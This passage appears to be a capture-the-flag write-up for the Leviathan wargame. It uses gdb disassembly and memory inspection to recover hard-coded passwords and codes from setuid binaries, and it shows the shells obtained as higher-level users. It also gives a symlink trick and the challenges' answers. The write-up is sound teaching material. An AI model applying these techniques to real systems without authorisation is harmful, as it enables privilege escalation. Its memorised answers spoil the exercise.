Breakpoint 1, 0x0804868c in main () at level3.c:33
33 in level3.c
(gdb) c
Continuing.
Enter the password> gimme
Breakpoint 2, 0x080485b7 in do_stuff () at level3.c:12
12 in level3.c
(gdb) x/s $ebp-0x117
0xffffd541: "snlprintf\n"
(gdb) x/s $ebp-0x10c
0xffffd54c: "gimme\n"
Cool stuff, looks like the first strcmp was an obfuscation, looking at the second one gives us the right answer.
leviathan3@melinda:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$
This is a simple level that involves converting binary to ASCII, and there isn't much to do here. On to the next.
Another level that doesn't really require anything (it is actually easier than Level 2). Looks for a file /tmp/file.log that it prints, and simply symlinking here will do the trick
We have a binary in this folder that seems to want a four digit code:
leviathan6@melinda:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@melinda:~$ ./leviathan6 1234
Wrong
One option is to write a simple script that basically bruteforces the combination. But we can easily slip into gdb and probably save ourself some time.
(gdb) disas main
Dump of assembler code for function main:
0x0804850d <+0>: push ebp
0x0804850e <+1>: mov ebp,esp
0x08048510 <+3>: and esp,0xfffffff0
0x08048513 <+6>: sub esp,0x20
0x08048516 <+9>: mov DWORD PTR [esp+0x1c],0x1bd3 <= Stack var
0x0804851e <+17>: cmp DWORD PTR [ebp+0x8],0x2 <= Argc == 2
0x08048522 <+21>: je 0x8048545 <main+56> <= Cont. if have args
0x08048524 <+23>: mov eax,DWORD PTR [ebp+0xc]
0x08048527 <+26>: mov eax,DWORD PTR [eax]
0x08048529 <+28>: mov DWORD PTR [esp+0x4],eax
0x0804852d <+32>: mov DWORD PTR [esp],0x8048620
0x08048534 <+39>: call 0x8048390 <printf@plt>
0x08048539 <+44>: mov DWORD PTR [esp],0xffffffff
0x08048540 <+51>: call 0x80483e0 <exit@plt> <= Exit if no args
0x08048545 <+56>: mov eax,DWORD PTR [ebp+0xc]
0x08048548 <+59>: add eax,0x4
0x0804854b <+62>: mov eax,DWORD PTR [eax]
0x0804854d <+64>: mov DWORD PTR [esp],eax
0x08048550 <+67>: call 0x8048400 <atoi@plt>
0x08048555 <+72>: cmp eax,DWORD PTR [esp+0x1c] <= Compare check
0x08048559 <+76>: jne 0x8048575 <main+104>
0x0804855b <+78>: mov DWORD PTR [esp],0x3ef
0x08048562 <+85>: call 0x80483a0 <seteuid@plt>
0x08048567 <+90>: mov DWORD PTR [esp],0x804863a
0x0804856e <+97>: call 0x80483c0 <system@plt>
0x08048573 <+102>: jmp 0x8048581 <main+116>
0x08048575 <+104>: mov DWORD PTR [esp],0x8048642
0x0804857c <+111>: call 0x80483b0 <puts@plt>
0x08048581 <+116>: leave
0x08048582 <+117>: ret
End of assembler dump.
(gdb) b *main+72
Breakpoint 1 at 0x8048555
(gdb) r 9999
Starting program: /home/leviathan6/leviathan6 9999
(gdb) x/wu $esp+0x1c
0xffffd69c: 7123
(gdb) i r
eax 0x270f 9999
ecx 0x0 0
edx 0xffffd89a -10086
ebx 0xf7fca000 -134438912
esp 0xffffd680 0xffffd680
ebp 0xffffd6a8 0xffffd6a8
esi 0x0 0
edi 0x0 0
eip 0x8048555 0x8048555 <main+72>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Looks like there is a compare check against the result of atoi which is stored in eax. Checking our registers with i r we can see our 9999 value, the 7123 value must be the target. (We change the arguments to the examine command x/ giving it u which means unsigned int, and w which means read a single word)
Furthermore at the beginning of the program we actually see 0x1bd3 being loaded into a local stack variable, which incidentally is the integer value 7123
leviathan6@melinda:~$ ./leviathan6 7123
$ whoami
leviathan7
$
Congrats! Level 7 is the last level at this time, and while using gdb is probably overkill especially for this series of challenges, hopefully you found this to be good practice in getting you ready for more difficult challenges.
The next writeup will move onto the next wargame in the series, Narnia.
]]>